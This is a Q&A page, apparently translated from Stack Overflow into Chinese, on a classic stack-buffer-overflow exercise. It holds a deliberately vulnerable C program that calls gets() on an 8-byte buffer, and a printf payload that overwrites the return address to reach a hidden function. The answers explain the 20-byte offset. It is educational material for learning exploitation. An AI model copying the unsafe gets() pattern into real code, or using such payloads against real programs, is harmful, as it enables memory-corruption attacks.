2013-03-12 24 views
11

我試圖對堆棧溢出進行控制。首先,這裏是我上的X32虛擬機的Linux(gcc -fno-stack-protector -ggdb -o first first.c)編譯的C代碼示例,緩衝區溢出在預期之前出現

#include "stdio.h" 

int CanNeverExecute() 
{ 
    printf("I can never execute\n"); 
    return(0); 
} 

void GetInput() 
{ 
    char buffer[8]; 

    gets(buffer); 
    puts(buffer); 
} 

int main() 
{ 
    GetInput(); 
    return(0); 
} 

然後調試器(英特爾味):彙編代碼轉儲功能GetInput

0x08048455 <+0>: push ebp 
0x08048456 <+1>: mov ebp,esp 
0x08048458 <+3>: sub esp,0x28 
0x0804845b <+6>: lea eax,[ebp-0x10] 

這裏我們可以看到sub esp,0x28爲緩衝區變量保留了40個字節(右?)。 CanNeverExecute功能位於地址0x0804843c。 因此,爲了運行CanNeverExecute函數,我需要將40個字節放入緩衝區變量中,然後將8個字節存儲爲基本指針,然後再更改8個字節的返回指針。

所以,我需要一個48個ASCII符號的字符串加上\x3c\x84\x04\x08CanNeverExecute函數的地址)。這是理論上的。但在實踐中,我需要返回指針的地址,僅前20個字節:

~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first 
123456789.. 
I can never execute 
Illegal instruction (core dumped) 

爲什麼它需要只有20個字節,而不是48?我的錯誤在哪裏?

回答

2

如果你拿的dissassembly更大的一部分,您將看到:

08048445 <GetInput>: 
8048445: 55      push %ebp 
8048446: 89 e5     mov %esp,%ebp 
8048448: 83 ec 28    sub $0x28,%esp 
804844b: 8d 45 f0    lea -0x10(%ebp),%eax 
804844e: 89 04 24    mov %eax,(%esp) 
8048451: e8 9a fe ff ff   call 80482f0 <[email protected]> 
8048456: 8d 45 f0    lea -0x10(%ebp),%eax 
8048459: 89 04 24    mov %eax,(%esp) 
804845c: e8 9f fe ff ff   call 8048300 <[email protected]> 
8048461: c9      leave 
8048462: c3      ret 

EBP保存,ESP移動到EBP,然後40從ESP減去(棧幀,因爲你寫的), 但指針傳遞給緩衝區通過eax寄存器獲取,並且eax使用ebp-0x10加載!

lea -0x10(%ebp),%eax 

所以你只需要20個字節到溢出緩衝器(16保留+ 4存儲基址指針在32位系統)

9

首先,你的程序集是32位的。已保存的EBP和返回地址均爲4個字節。

其次,buffer變量不會從堆棧頂端(ESP)開始 - 它始於ebp-0x10。距返回地址20字節。 0x10是16個字節,然後4個用於保存的EBP。